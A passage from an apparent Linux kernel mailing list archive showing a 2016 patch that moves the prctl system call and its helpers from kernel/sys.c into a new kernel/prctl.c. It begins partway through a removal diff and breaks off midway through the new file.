-	 *  - @start_brk/@brk which are used in do_brk but kernel lookups
-	 *    for VMAs when updating these memvers so anything wrong written
-	 *    here cause kernel to swear at userspace program but won't lead
-	 *    to any problem in kernel itself
-	 */
-
-	mm->start_code	= prctl_map.start_code;
-	mm->end_code	= prctl_map.end_code;
-	mm->start_data	= prctl_map.start_data;
-	mm->end_data	= prctl_map.end_data;
-	mm->start_brk	= prctl_map.start_brk;
-	mm->brk		= prctl_map.brk;
-	mm->start_stack	= prctl_map.start_stack;
-	mm->arg_start	= prctl_map.arg_start;
-	mm->arg_end	= prctl_map.arg_end;
-	mm->env_start	= prctl_map.env_start;
-	mm->env_end	= prctl_map.env_end;
-
-	/*
-	 * Note this update of @saved_auxv is lockless thus
-	 * if someone reads this member in procfs while we're
-	 * updating -- it may get partly updated results. It's
-	 * known and acceptable trade off: we leave it as is to
-	 * not introduce additional locks here making the kernel
-	 * more complex.
-	 */
-	if (prctl_map.auxv_size)
-		memcpy(mm->saved_auxv, user_auxv, sizeof(user_auxv));
-
-	up_write(&mm->mmap_sem);
-	return 0;
-}
-#endif /* CONFIG_CHECKPOINT_RESTORE */
-
-static int prctl_set_auxv(struct mm_struct *mm, unsigned long addr,
-			  unsigned long len)
-{
-	/*
-	 * This doesn't move the auxiliary vector itself since it's pinned to
-	 * mm_struct, but it permits filling the vector with new values.  It's
-	 * up to the caller to provide sane values here, otherwise userspace
-	 * tools which use this vector might be unhappy.
-	 */
-	unsigned long user_auxv[AT_VECTOR_SIZE];
-
-	if (len > sizeof(user_auxv))
-		return -EINVAL;
-
-	if (copy_from_user(user_auxv, (const void __user *)addr, len))
-		return -EFAULT;
-
-	/* Make sure the last entry is always AT_NULL */
-	user_auxv[AT_VECTOR_SIZE - 2] = 0;
-	user_auxv[AT_VECTOR_SIZE - 1] = 0;
-
-	BUILD_BUG_ON(sizeof(user_auxv) != sizeof(mm->saved_auxv));
-
-	task_lock(current);
-	memcpy(mm->saved_auxv, user_auxv, len);
-	task_unlock(current);
-
-	return 0;
-}
-
-static int prctl_set_mm(int opt, unsigned long addr,
-			unsigned long arg4, unsigned long arg5)
-{
-	struct mm_struct *mm = current->mm;
-	struct prctl_mm_map prctl_map;
-	struct vm_area_struct *vma;
-	int error;
-
-	if (arg5 || (arg4 && (opt != PR_SET_MM_AUXV &&
-			      opt != PR_SET_MM_MAP &&
-			      opt != PR_SET_MM_MAP_SIZE)))
-		return -EINVAL;
-
-#ifdef CONFIG_CHECKPOINT_RESTORE
-	if (opt == PR_SET_MM_MAP || opt == PR_SET_MM_MAP_SIZE)
-		return prctl_set_mm_map(opt, (const void __user *)addr, arg4);
-#endif
-
-	if (!capable(CAP_SYS_RESOURCE))
-		return -EPERM;
-
-	if (opt == PR_SET_MM_EXE_FILE)
-		return prctl_set_mm_exe_file(mm, (unsigned int)addr);
-
-	if (opt == PR_SET_MM_AUXV)
-		return prctl_set_auxv(mm, addr, arg4);
-
-	if (addr >= TASK_SIZE || addr < mmap_min_addr)
-		return -EINVAL;
-
-	error = -EINVAL;
-
-	down_write(&mm->mmap_sem);
-	vma = find_vma(mm, addr);
-
-	prctl_map.start_code	= mm->start_code;
-	prctl_map.end_code	= mm->end_code;
-	prctl_map.start_data	= mm->start_data;
-	prctl_map.end_data	= mm->end_data;
-	prctl_map.start_brk	= mm->start_brk;
-	prctl_map.brk		= mm->brk;
-	prctl_map.start_stack	= mm->start_stack;
-	prctl_map.arg_start	= mm->arg_start;
-	prctl_map.arg_end	= mm->arg_end;
-	prctl_map.env_start	= mm->env_start;
-	prctl_map.env_end	= mm->env_end;
-	prctl_map.auxv		= NULL;
-	prctl_map.auxv_size	= 0;
-	prctl_map.exe_fd	= -1;
-
-	switch (opt) {
-	case PR_SET_MM_START_CODE:
-		prctl_map.start_code = addr;
-		break;
-	case PR_SET_MM_END_CODE:
-		prctl_map.end_code = addr;
-		break;
-	case PR_SET_MM_START_DATA:
-		prctl_map.start_data = addr;
-		break;
-	case PR_SET_MM_END_DATA:
-		prctl_map.end_data = addr;
-		break;
-	case PR_SET_MM_START_STACK:
-		prctl_map.start_stack = addr;
-		break;
-	case PR_SET_MM_START_BRK:
-		prctl_map.start_brk = addr;
-		break;
-	case PR_SET_MM_BRK:
-		prctl_map.brk = addr;
-		break;
-	case PR_SET_MM_ARG_START:
-		prctl_map.arg_start = addr;
-		break;
-	case PR_SET_MM_ARG_END:
-		prctl_map.arg_end = addr;
-		break;
-	case PR_SET_MM_ENV_START:
-		prctl_map.env_start = addr;
-		break;
-	case PR_SET_MM_ENV_END:
-		prctl_map.env_end = addr;
-		break;
-	default:
-		goto out;
-	}
-
-	error = validate_prctl_map(&prctl_map);
-	if (error)
-		goto out;
-
-	switch (opt) {
-	/*
-	 * If command line arguments and environment
-	 * are placed somewhere else on stack, we can
-	 * set them up here, ARG_START/END to setup
-	 * command line argumets and ENV_START/END
-	 * for environment.
-	 */
-	case PR_SET_MM_START_STACK:
-	case PR_SET_MM_ARG_START:
-	case PR_SET_MM_ARG_END:
-	case PR_SET_MM_ENV_START:
-	case PR_SET_MM_ENV_END:
-		if (!vma) {
-			error = -EFAULT;
-			goto out;
-		}
-	}
-
-	mm->start_code	= prctl_map.start_code;
-	mm->end_code	= prctl_map.end_code;
-	mm->start_data	= prctl_map.start_data;
-	mm->end_data	= prctl_map.end_data;
-	mm->start_brk	= prctl_map.start_brk;
-	mm->brk		= prctl_map.brk;
-	mm->start_stack	= prctl_map.start_stack;
-	mm->arg_start	= prctl_map.arg_start;
-	mm->arg_end	= prctl_map.arg_end;
-	mm->env_start	= prctl_map.env_start;
-	mm->env_end	= prctl_map.env_end;
-
-	error = 0;
-out:
-	up_write(&mm->mmap_sem);
-	return error;
-}
-
-#ifdef CONFIG_CHECKPOINT_RESTORE
-static int prctl_get_tid_address(struct task_struct *me, int __user **tid_addr)
-{
-	return put_user(me->clear_child_tid, tid_addr);
-}
-#else
-static int prctl_get_tid_address(struct task_struct *me, int __user **tid_addr)
-{
-	return -EINVAL;
-}
-#endif
-
-SYSCALL_DEFINE5(prctl, int, option, unsigned long, arg2, unsigned long, arg3,
-		unsigned long, arg4, unsigned long, arg5)
-{
-	struct task_struct *me = current;
-	unsigned char comm[sizeof(me->comm)];
-	long error;
-
-	error = security_task_prctl(option, arg2, arg3, arg4, arg5);
-	if (error != -ENOSYS)
-		return error;
-
-	error = 0;
-	switch (option) {
-	case PR_SET_PDEATHSIG:
-		if (!valid_signal(arg2)) {
-			error = -EINVAL;
-			break;
-		}
-		me->pdeath_signal = arg2;
-		break;
-	case PR_GET_PDEATHSIG:
-		error = put_user(me->pdeath_signal, (int __user *)arg2);
-		break;
-	case PR_GET_DUMPABLE:
-		error = get_dumpable(me->mm);
-		break;
-	case PR_SET_DUMPABLE:
-		if (arg2 != SUID_DUMP_DISABLE && arg2 != SUID_DUMP_USER) {
-			error = -EINVAL;
-			break;
-		}
-		set_dumpable(me->mm, arg2);
-		break;
-
-	case PR_SET_UNALIGN:
-		error = SET_UNALIGN_CTL(me, arg2);
-		break;
-	case PR_GET_UNALIGN:
-		error = GET_UNALIGN_CTL(me, arg2);
-		break;
-	case PR_SET_FPEMU:
-		error = SET_FPEMU_CTL(me, arg2);
-		break;
-	case PR_GET_FPEMU:
-		error = GET_FPEMU_CTL(me, arg2);
-		break;
-	case PR_SET_FPEXC:
-		error = SET_FPEXC_CTL(me, arg2);
-		break;
-	case PR_GET_FPEXC:
-		error = GET_FPEXC_CTL(me, arg2);
-		break;
-	case PR_GET_TIMING:
-		error = PR_TIMING_STATISTICAL;
-		break;
-	case PR_SET_TIMING:
-		if (arg2 != PR_TIMING_STATISTICAL)
-			error = -EINVAL;
-		break;
-	case PR_SET_NAME:
-		comm[sizeof(me->comm) - 1] = 0;
-		if (strncpy_from_user(comm, (char __user *)arg2,
-				      sizeof(me->comm) - 1) < 0)
-			return -EFAULT;
-		set_task_comm(me, comm);
-		proc_comm_connector(me);
-		break;
-	case PR_GET_NAME:
-		get_task_comm(comm, me);
-		if (copy_to_user((char __user *)arg2, comm, sizeof(comm)))
-			return -EFAULT;
-		break;
-	case PR_GET_ENDIAN:
-		error = GET_ENDIAN(me, arg2);
-		break;
-	case PR_SET_ENDIAN:
-		error = SET_ENDIAN(me, arg2);
-		break;
-	case PR_GET_SECCOMP:
-		error = prctl_get_seccomp();
-		break;
-	case PR_SET_SECCOMP:
-		error = prctl_set_seccomp(arg2, (char __user *)arg3);
-		break;
-	case PR_GET_TSC:
-		error = GET_TSC_CTL(arg2);
-		break;
-	case PR_SET_TSC:
-		error = SET_TSC_CTL(arg2);
-		break;
-	case PR_TASK_PERF_EVENTS_DISABLE:
-		error = perf_event_task_disable();
-		break;
-	case PR_TASK_PERF_EVENTS_ENABLE:
-		error = perf_event_task_enable();
-		break;
-	case PR_GET_TIMERSLACK:
-		if (current->timer_slack_ns > ULONG_MAX)
-			error = ULONG_MAX;
-		else
-			error = current->timer_slack_ns;
-		break;
-	case PR_SET_TIMERSLACK:
-		if (arg2 <= 0)
-			current->timer_slack_ns =
-					current->default_timer_slack_ns;
-		else
-			current->timer_slack_ns = arg2;
-		break;
-	case PR_MCE_KILL:
-		if (arg4 | arg5)
-			return -EINVAL;
-		switch (arg2) {
-		case PR_MCE_KILL_CLEAR:
-			if (arg3 != 0)
-				return -EINVAL;
-			current->flags &= ~PF_MCE_PROCESS;
-			break;
-		case PR_MCE_KILL_SET:
-			current->flags |= PF_MCE_PROCESS;
-			if (arg3 == PR_MCE_KILL_EARLY)
-				current->flags |= PF_MCE_EARLY;
-			else if (arg3 == PR_MCE_KILL_LATE)
-				current->flags &= ~PF_MCE_EARLY;
-			else if (arg3 == PR_MCE_KILL_DEFAULT)
-				current->flags &=
-						~(PF_MCE_EARLY|PF_MCE_PROCESS);
-			else
-				return -EINVAL;
-			break;
-		default:
-			return -EINVAL;
-		}
-		break;
-	case PR_MCE_KILL_GET:
-		if (arg2 | arg3 | arg4 | arg5)
-			return -EINVAL;
-		if (current->flags & PF_MCE_PROCESS)
-			error = (current->flags & PF_MCE_EARLY) ?
-				PR_MCE_KILL_EARLY : PR_MCE_KILL_LATE;
-		else
-			error = PR_MCE_KILL_DEFAULT;
-		break;
-	case PR_SET_MM:
-		error = prctl_set_mm(arg2, arg3, arg4, arg5);
-		break;
-	case PR_GET_TID_ADDRESS:
-		error = prctl_get_tid_address(me, (int __user **)arg2);
-		break;
-	case PR_SET_CHILD_SUBREAPER:
-		me->signal->is_child_subreaper = !!arg2;
-		break;
-	case PR_GET_CHILD_SUBREAPER:
-		error = put_user(me->signal->is_child_subreaper,
-				 (int __user *)arg2);
-		break;
-	case PR_SET_NO_NEW_PRIVS:
-		if (arg2 != 1 || arg3 || arg4 || arg5)
-			return -EINVAL;
-
-		task_set_no_new_privs(current);
-		break;
-	case PR_GET_NO_NEW_PRIVS:
-		if (arg2 || arg3 || arg4 || arg5)
-			return -EINVAL;
-		return task_no_new_privs(current) ? 1 : 0;
-	case PR_GET_THP_DISABLE:
-		if (arg2 || arg3 || arg4 || arg5)
-			return -EINVAL;
-		error = !!(me->mm->def_flags & VM_NOHUGEPAGE);
-		break;
-	case PR_SET_THP_DISABLE:
-		if (arg3 || arg4 || arg5)
-			return -EINVAL;
-		if (down_write_killable(&me->mm->mmap_sem))
-			return -EINTR;
-		if (arg2)
-			me->mm->def_flags |= VM_NOHUGEPAGE;
-		else
-			me->mm->def_flags &= ~VM_NOHUGEPAGE;
-		up_write(&me->mm->mmap_sem);
-		break;
-	case PR_MPX_ENABLE_MANAGEMENT:
-		if (arg2 || arg3 || arg4 || arg5)
-			return -EINVAL;
-		error = MPX_ENABLE_MANAGEMENT();
-		break;
-	case PR_MPX_DISABLE_MANAGEMENT:
-		if (arg2 || arg3 || arg4 || arg5)
-			return -EINVAL;
-		error = MPX_DISABLE_MANAGEMENT();
-		break;
-	case PR_SET_FP_MODE:
-		error = SET_FP_MODE(me, arg2);
-		break;
-	case PR_GET_FP_MODE:
-		error = GET_FP_MODE(me);
-		break;
-	default:
-		error = -EINVAL;
-		break;
-	}
-	return error;
-}
-
 SYSCALL_DEFINE3(getcpu, unsigned __user *, cpup, unsigned __user *, nodep,
 		struct getcpu_cache __user *, unused)
 {
-- 
git-series 0.8.11

^ permalink raw reply related

* [PATCH 1/2] kernel: Move prctl and helpers from kernel/sys.c to new kernel/prctl.c
From: Josh Triplett @ 2016-11-09  0:18 UTC (permalink / raw)
  To: Andrew Morton, Kees Cook, Johannes Weiner, Arnd Bergmann,
	Ingo Molnar, Andy Lutomirski, Petr Mladek, Thomas Garnier,
	Ard Biesheuvel, Nicolas Pitre, Zefan Li, Li Bin,
	Eric W. Biederman, Dmitry Vyukov, Ralf Baechle, Alex Thorlton,
	Michal Hocko, Mateusz Guzik, Cyrill Gorcunov, John Stultz,
	Al Viro, Zach Brown, Anna Schumaker, Dave Hansen, linux-kernel,
	linux-api
In-Reply-To: <cover.c693f10dfc19e12c214758e4b13ca9b4e4cf9668.1478650356.git-series.josh@joshtriplett.org>

This prepares for making prctl optional.

Signed-off-by: Josh Triplett <josh@joshtriplett.org>
---
 kernel/Makefile |   2 +-
 kernel/prctl.c  | 684 +++++++++++++++++++++++++++++++++++++++++++++++++-
 kernel/sys.c    | 672 +------------------------------------------------
 3 files changed, 685 insertions(+), 673 deletions(-)
 create mode 100644 kernel/prctl.c

diff --git a/kernel/Makefile b/kernel/Makefile
index eb26e12..37c6d4c 100644
--- a/kernel/Makefile
+++ b/kernel/Makefile
@@ -9,7 +9,7 @@ obj-y     = fork.o exec_domain.o panic.o \
 	    extable.o params.o \
 	    kthread.o sys_ni.o nsproxy.o \
 	    notifier.o ksysfs.o cred.o reboot.o \
-	    async.o range.o smpboot.o ucount.o
+	    async.o range.o smpboot.o ucount.o prctl.o
 
 obj-$(CONFIG_MULTIUSER) += groups.o
 
diff --git a/kernel/prctl.c b/kernel/prctl.c
new file mode 100644
index 0000000..f7156e4
--- /dev/null
+++ b/kernel/prctl.c
@@ -0,0 +1,684 @@
+#include <linux/sched.h>
+#include <linux/cn_proc.h>
+#include <linux/file.h>
+#include <linux/fs.h>
+#include <linux/kernel.h>
+#include <linux/mm.h>
+#include <linux/prctl.h>
+#include <linux/security.h>
+#include <linux/syscalls.h>
+#include <linux/uaccess.h>
+
+#include <asm/processor.h>
+
+#ifndef SET_UNALIGN_CTL
+# define SET_UNALIGN_CTL(a, b)	(-EINVAL)
+#endif
+#ifndef GET_UNALIGN_CTL
+# define GET_UNALIGN_CTL(a, b)	(-EINVAL)
+#endif
+#ifndef SET_FPEMU_CTL
+# define SET_FPEMU_CTL(a, b)	(-EINVAL)
+#endif
+#ifndef GET_FPEMU_CTL
+# define GET_FPEMU_CTL(a, b)	(-EINVAL)
+#endif
+#ifndef SET_FPEXC_CTL
+# define SET_FPEXC_CTL(a, b)	(-EINVAL)
+#endif
+#ifndef GET_FPEXC_CTL
+# define GET_FPEXC_CTL(a, b)	(-EINVAL)
+#endif
+#ifndef GET_ENDIAN
+# define GET_ENDIAN(a, b)	(-EINVAL)
+#endif
+#ifndef SET_ENDIAN
+# define SET_ENDIAN(a, b)	(-EINVAL)
+#endif
+#ifndef GET_TSC_CTL
+# define GET_TSC_CTL(a)		(-EINVAL)
+#endif
+#ifndef SET_TSC_CTL
+# define SET_TSC_CTL(a)		(-EINVAL)
+#endif
+#ifndef MPX_ENABLE_MANAGEMENT
+# define MPX_ENABLE_MANAGEMENT()	(-EINVAL)
+#endif
+#ifndef MPX_DISABLE_MANAGEMENT
+# define MPX_DISABLE_MANAGEMENT()	(-EINVAL)
+#endif
+#ifndef GET_FP_MODE
+# define GET_FP_MODE(a)		(-EINVAL)
+#endif
+#ifndef SET_FP_MODE
+# define SET_FP_MODE(a,b)	(-EINVAL)
+#endif
+
+static int prctl_set_mm_exe_file(struct mm_struct *mm, unsigned int fd)
+{
+	struct fd exe;
+	struct file *old_exe, *exe_file;
+	struct inode *inode;
+	int err;
+
+	exe = fdget(fd);
+	if (!exe.file)
+		return -EBADF;
+
+	inode = file_inode(exe.file);
+
+	/*
+	 * Because the original mm->exe_file points to executable file, make
+	 * sure that this one is executable as well, to avoid breaking an
+	 * overall picture.
+	 */
+	err = -EACCES;
+	if (!S_ISREG(inode->i_mode) || path_noexec(&exe.file->f_path))
+		goto exit;
+
+	err = inode_permission(inode, MAY_EXEC);
+	if (err)
+		goto exit;
+
+	/*
+	 * Forbid mm->exe_file change if old file still mapped.
+	 */
+	exe_file = get_mm_exe_file(mm);
+	err = -EBUSY;
+	if (exe_file) {
+		struct vm_area_struct *vma;
+
+		down_read(&mm->mmap_sem);
+		for (vma = mm->mmap; vma; vma = vma->vm_next) {
+			if (!vma->vm_file)
+				continue;
+			if (path_equal(&vma->vm_file->f_path,
+				       &exe_file->f_path))
+				goto exit_err;
+		}
+
+		up_read(&mm->mmap_sem);
+		fput(exe_file);
+	}
+
+	/*
+	 * The symlink can be changed only once, just to disallow arbitrary
+	 * transitions malicious software might bring in. This means one
+	 * could make a snapshot over all processes running and monitor
+	 * /proc/pid/exe changes to notice unusual activity if needed.
+	 */
+	err = -EPERM;
+	if (test_and_set_bit(MMF_EXE_FILE_CHANGED, &mm->flags))
+		goto exit;
+
+	err = 0;
+	/* set the new file, lockless */
+	get_file(exe.file);
+	old_exe = xchg(&mm->exe_file, exe.file);
+	if (old_exe)
+		fput(old_exe);
+exit:
+	fdput(exe);
+	return err;
+exit_err:
+	up_read(&mm->mmap_sem);
+	fput(exe_file);
+	goto exit;
+}
+
+/*
+ * WARNING: we don't require any capability here so be very careful
+ * in what is allowed for modification from userspace.
+ */
+static int validate_prctl_map(struct prctl_mm_map *prctl_map)
+{
+	unsigned long mmap_max_addr = TASK_SIZE;
+	struct mm_struct *mm = current->mm;
+	int error = -EINVAL, i;
+
+	static const unsigned char offsets[] = {
+		offsetof(struct prctl_mm_map, start_code),
+		offsetof(struct prctl_mm_map, end_code),
+		offsetof(struct prctl_mm_map, start_data),
+		offsetof(struct prctl_mm_map, end_data),
+		offsetof(struct prctl_mm_map, start_brk),
+		offsetof(struct prctl_mm_map, brk),
+		offsetof(struct prctl_mm_map, start_stack),
+		offsetof(struct prctl_mm_map, arg_start),
+		offsetof(struct prctl_mm_map, arg_end),
+		offsetof(struct prctl_mm_map, env_start),
+		offsetof(struct prctl_mm_map, env_end),
+	};
+
+	/*
+	 * Make sure the members are not somewhere outside
+	 * of allowed address space.
+	 */
+	for (i = 0; i < ARRAY_SIZE(offsets); i++) {
+		u64 val = *(u64 *)((char *)prctl_map + offsets[i]);
+
+		if ((unsigned long)val >= mmap_max_addr ||
+		    (unsigned long)val < mmap_min_addr)
+			goto out;
+	}
+
+	/*
+	 * Make sure the pairs are ordered.
+	 */
+#define __prctl_check_order(__m1, __op, __m2)				\
+	((unsigned long)prctl_map->__m1 __op				\
+	 (unsigned long)prctl_map->__m2) ? 0 : -EINVAL
+	error  = __prctl_check_order(start_code, <, end_code);
+	error |= __prctl_check_order(start_data, <, end_data);
+	error |= __prctl_check_order(start_brk, <=, brk);
+	error |= __prctl_check_order(arg_start, <=, arg_end);
+	error |= __prctl_check_order(env_start, <=, env_end);
+	if (error)
+		goto out;
+#undef __prctl_check_order
+
+	error = -EINVAL;
+
+	/*
+	 * @brk should be after @end_data in traditional maps.
+	 */
+	if (prctl_map->start_brk <= prctl_map->end_data ||
+	    prctl_map->brk <= prctl_map->end_data)
+		goto out;
+
+	/*
+	 * Neither we should allow to override limits if they set.
+	 */
+	if (check_data_rlimit(rlimit(RLIMIT_DATA), prctl_map->brk,
+			      prctl_map->start_brk, prctl_map->end_data,
+			      prctl_map->start_data))
+			goto out;
+
+	/*
+	 * Someone is trying to cheat the auxv vector.
+	 */
+	if (prctl_map->auxv_size) {
+		if (!prctl_map->auxv || prctl_map->auxv_size > sizeof(mm->saved_auxv))
+			goto out;
+	}
+
+	/*
+	 * Finally, make sure the caller has the rights to
+	 * change /proc/pid/exe link: only local root should
+	 * be allowed to.
+	 */
+	if (prctl_map->exe_fd != (u32)-1) {
+		struct user_namespace *ns = current_user_ns();
+		const struct cred *cred = current_cred();
+
+		if (!uid_eq(cred->uid, make_kuid(ns, 0)) ||
+		    !gid_eq(cred->gid, make_kgid(ns, 0)))
+			goto out;
+	}
+
+	error = 0;
+out:
+	return error;
+}
+
+#ifdef CONFIG_CHECKPOINT_RESTORE
+static int prctl_set_mm_map(int opt, const void __user *addr, unsigned long data_size)
+{
+	struct prctl_mm_map prctl_map = { .exe_fd = (u32)-1, };
+	unsigned long user_auxv[AT_VECTOR_SIZE];
+	struct mm_struct *mm = current->mm;
+	int error;
+
+	BUILD_BUG_ON(sizeof(user_auxv) != sizeof(mm->saved_auxv));
+	BUILD_BUG_ON(sizeof(struct prctl_mm_map) > 256);
+
+	if (opt == PR_SET_MM_MAP_SIZE)
+		return put_user((unsigned int)sizeof(prctl_map),
+				(unsigned int __user *)addr);
+
+	if (data_size != sizeof(prctl_map))
+		return -EINVAL;
+
+	if (copy_from_user(&prctl_map, addr, sizeof(prctl_map)))
+		return -EFAULT;
+
+	error = validate_prctl_map(&prctl_map);
+	if (error)
+		return error;
+
+	if (prctl_map.auxv_size) {
+		memset(user_auxv, 0, sizeof(user_auxv));
+		if (copy_from_user(user_auxv,
+				   (const void __user *)prctl_map.auxv,
+				   prctl_map.auxv_size))
+			return -EFAULT;
+
+		/* Last entry must be AT_NULL as specification requires */
+		user_auxv[AT_VECTOR_SIZE - 2] = AT_NULL;
+		user_auxv[AT_VECTOR_SIZE - 1] = AT_NULL;
+	}
+
+	if (prctl_map.exe_fd != (u32)-1) {
+		error = prctl_set_mm_exe_file(mm, prctl_map.exe_fd);
+		if (error)
+			return error;
+	}
+
+	down_write(&mm->mmap_sem);
+
+	/*
+	 * We don't validate if these members are pointing to
+	 * real present VMAs because application may have correspond
+	 * VMAs already unmapped and kernel uses these members for statistics
+	 * output in procfs mostly, except
+	 *
+	 *  - @start_brk/@brk which are used in do_brk but kernel lookups
+	 *    for VMAs when updating these memvers so anything wrong written
+	 *    here cause kernel to swear at userspace program but won't lead
+	 *    to any problem in kernel itself
+	 */
+
+	mm->start_code	= prctl_map.start_code;
+	mm->end_code	= prctl_map.end_code;
+	mm->start_data	= prctl_map.start_data;
+	mm->end_data	= prctl_map.end_data;
+	mm->start_brk	= prctl_map.start_brk;
+	mm->brk		= prctl_map.brk;
+	mm->start_stack	= prctl_map.start_stack;
+	mm->arg_start	= prctl_map.arg_start;
+	mm->arg_end	= prctl_map.arg_end;
+	mm->env_start	= prctl_map.env_start;
+	mm->env_end	= prctl_map.env_end;
+
+	/*
+	 * Note this update of @saved_auxv is lockless thus
+	 * if someone reads this member in procfs while we're
+	 * updating -- it may get partly updated results. It's
+	 * known and acceptable trade off: we leave it as is to
+	 * not introduce additional locks here making the kernel
+	 * more complex.
+	 */
+	if (prctl_map.auxv_size)
+		memcpy(mm->saved_auxv, user_auxv, sizeof(user_auxv));
+
+	up_write(&mm->mmap_sem);
+	return 0;
+}
+#endif /* CONFIG_CHECKPOINT_RESTORE */
+
+static int prctl_set_auxv(struct mm_struct *mm, unsigned long addr,
+			  unsigned long len)
+{
+	/*
+	 * This doesn't move the auxiliary vector itself since it's pinned to
+	 * mm_struct, but it permits filling the vector with new values.  It's
+	 * up to the caller to provide sane values here, otherwise userspace
+	 * tools which use this vector might be unhappy.
+	 */
+	unsigned long user_auxv[AT_VECTOR_SIZE];
+
+	if (len > sizeof(user_auxv))
+		return -EINVAL;
+
+	if (copy_from_user(user_auxv, (const void __user *)addr, len))
+		return -EFAULT;
+
+	/* Make sure the last entry is always AT_NULL */
+	user_auxv[AT_VECTOR_SIZE - 2] = 0;
+	user_auxv[AT_VECTOR_SIZE - 1] = 0;
+
+	BUILD_BUG_ON(sizeof(user_auxv) != sizeof(mm->saved_auxv));
+
+	task_lock(current);
+	memcpy(mm->saved_auxv, user_auxv, len);
+	task_unlock(current);
+
+	return 0;
+}
+
+static int prctl_set_mm(int opt, unsigned long addr,
+			unsigned long arg4, unsigned long arg5)
+{
+	struct mm_struct *mm = current->mm;
+	struct prctl_mm_map prctl_map;
+	struct vm_area_struct *vma;
+	int error;
+
+	if (arg5 || (arg4 && (opt != PR_SET_MM_AUXV &&
+			      opt != PR_SET_MM_MAP &&
+			      opt != PR_SET_MM_MAP_SIZE)))
+		return -EINVAL;
+
+#ifdef CONFIG_CHECKPOINT_RESTORE
+	if (opt == PR_SET_MM_MAP || opt == PR_SET_MM_MAP_SIZE)
+		return prctl_set_mm_map(opt, (const void __user *)addr, arg4);
+#endif
+
+	if (!capable(CAP_SYS_RESOURCE))
+		return -EPERM;
+
+	if (opt == PR_SET_MM_EXE_FILE)
+		return prctl_set_mm_exe_file(mm, (unsigned int)addr);
+
+	if (opt == PR_SET_MM_AUXV)
+		return prctl_set_auxv(mm, addr, arg4);
+
+	if (addr >= TASK_SIZE || addr < mmap_min_addr)
+		return -EINVAL;
+
+	error = -EINVAL;
+
+	down_write(&mm->mmap_sem);
+	vma = find_vma(mm, addr);
+
+	prctl_map.start_code	= mm->start_code;
+	prctl_map.end_code	= mm->end_code;
+	prctl_map.start_data	= mm->start_data;
+	prctl_map.end_data	= mm->end_data;
+	prctl_map.start_brk	= mm->start_brk;
+	prctl_map.brk		= mm->brk;
+	prctl_map.start_stack	= mm->start_stack;
+	prctl_map.arg_start	= mm->arg_start;
+	prctl_map.arg_end	= mm->arg_end;
+	prctl_map.env_start	= mm->env_start;
+	prctl_map.env_end	= mm->env_end;
+	prctl_map.auxv		= NULL;
+	prctl_map.auxv_size	= 0;
+	prctl_map.exe_fd	= -1;
+
+	switch (opt) {
+	case PR_SET_MM_START_CODE:
+		prctl_map.start_code = addr;
+		break;
+	case PR_SET_MM_END_CODE:
+		prctl_map.end_code = addr;
+		break;
+	case PR_SET_MM_START_DATA:
+		prctl_map.start_data = addr;
+		break;
+	case PR_SET_MM_END_DATA:
+		prctl_map.end_data = addr;
+		break;
+	case PR_SET_MM_START_STACK:
+		prctl_map.start_stack = addr;
+		break;
+	case PR_SET_MM_START_BRK:
+		prctl_map.start_brk = addr;
+		break;
+	case PR_SET_MM_BRK:
+		prctl_map.brk = addr;
+		break;
+	case PR_SET_MM_ARG_START:
+		prctl_map.arg_start = addr;
+		break;
+	case PR_SET_MM_ARG_END:
+		prctl_map.arg_end = addr;
+		break;
+	case PR_SET_MM_ENV_START:
+		prctl_map.env_start = addr;
+		break;
+	case PR_SET_MM_ENV_END:
+		prctl_map.env_end = addr;
+		break;
+	default:
+		goto out;
+	}
+
+	error = validate_prctl_map(&prctl_map);
+	if (error)
+		goto out;
+
+	switch (opt) {
+	/*
+	 * If command line arguments and environment
+	 * are placed somewhere else on stack, we can
+	 * set them up here, ARG_START/END to setup
+	 * command line argumets and ENV_START/END
+	 * for environment.
+	 */
+	case PR_SET_MM_START_STACK:
+	case PR_SET_MM_ARG_START:
+	case PR_SET_MM_ARG_END:
+	case PR_SET_MM_ENV_START:
+	case PR_SET_MM_ENV_END:
+		if (!vma) {
+			error = -EFAULT;
+			goto out;
+		}
+	}
+
+	mm->start_code	= prctl_map.start_code;
+	mm->end_code	= prctl_map.end_code;
+	mm->start_data	= prctl_map.start_data;
+	mm->end_data	= prctl_map.end_data;
+	mm->start_brk	= prctl_map.start_brk;
+	mm->brk		= prctl_map.brk;
+	mm->start_stack	= prctl_map.start_stack;
+	mm->arg_start	= prctl_map.arg_start;
+	mm->arg_end	= prctl_map.arg_end;
+	mm->env_start	= prctl_map.env_start;
+	mm->env_end	= prctl_map.env_end;
+
+	error = 0;
+out:
+	up_write(&mm->mmap_sem);
+	return error;
+}
+
+#ifdef CONFIG_CHECKPOINT_RESTORE
+static int prctl_get_tid_address(struct task_struct *me, int __user **tid_addr)
+{
+	return put_user(me->clear_child_tid, tid_addr);
+}
+#else
+static int prctl_get_tid_address(struct task_struct *me, int __user **tid_addr)
+{
+	return -EINVAL;
+}
+#endif
+
+SYSCALL_DEFINE5(prctl, int, option, unsigned long, arg2, unsigned long, arg3,
+		unsigned long, arg4, unsigned long, arg5)
+{
+	struct task_struct *me = current;
+	unsigned char comm[sizeof(me->comm)];
+	long error;
+
+	error = security_task_prctl(option, arg2, arg3, arg4, arg5);
+	if (error != -ENOSYS)
+		return error;
+
+	error = 0;
+	switch (option) {
+	case PR_SET_PDEATHSIG:
+		if (!valid_signal(arg2)) {
+			error = -EINVAL;
+			break;
+		}
+		me->pdeath_signal = arg2;
+		break;
+	case PR_GET_PDEATHSIG:
+		error = put_user(me->pdeath_signal, (int __user *)arg2);
+		break;
+	case PR_GET_DUMPABLE:
+		error = get_dumpable(me->mm);
+		break;
+	case PR_SET_DUMPABLE:
+		if (arg2 != SUID_DUMP_DISABLE && arg2 != SUID_DUMP_USER) {
+			error = -EINVAL;
+			break;
+		}
+		set_dumpable(me->mm, arg2);
+		break;
+
+	case PR_SET_UNALIGN:
+		error = SET_UNALIGN_CTL(me, arg2);
+		break;
+	case PR_GET_UNALIGN:
+		error = GET_UNALIGN_CTL(me, arg2);
+		break;
+	case PR_SET_FPEMU:
+		error = SET_FPEMU_CTL(me, arg2);
+		break;
+	case PR_GET_FPEMU:
+		error = GET_FPEMU_CTL(me, arg2);
+		break;
+	case PR_SET_FPEXC:
+		error = SET_FPEXC_CTL(me, arg2);
+		break;
+	case PR_GET_FPEXC:
+		error = GET_FPEXC_CTL(me, arg2);
+		break;
+	case PR_GET_TIMING:
+		error = PR_TIMING_STATISTICAL;
+		break;
+	case PR_SET_TIMING:
+		if (arg2 != PR_TIMING_STATISTICAL)
+			error = -EINVAL;
+		break;
+	case PR_SET_NAME:
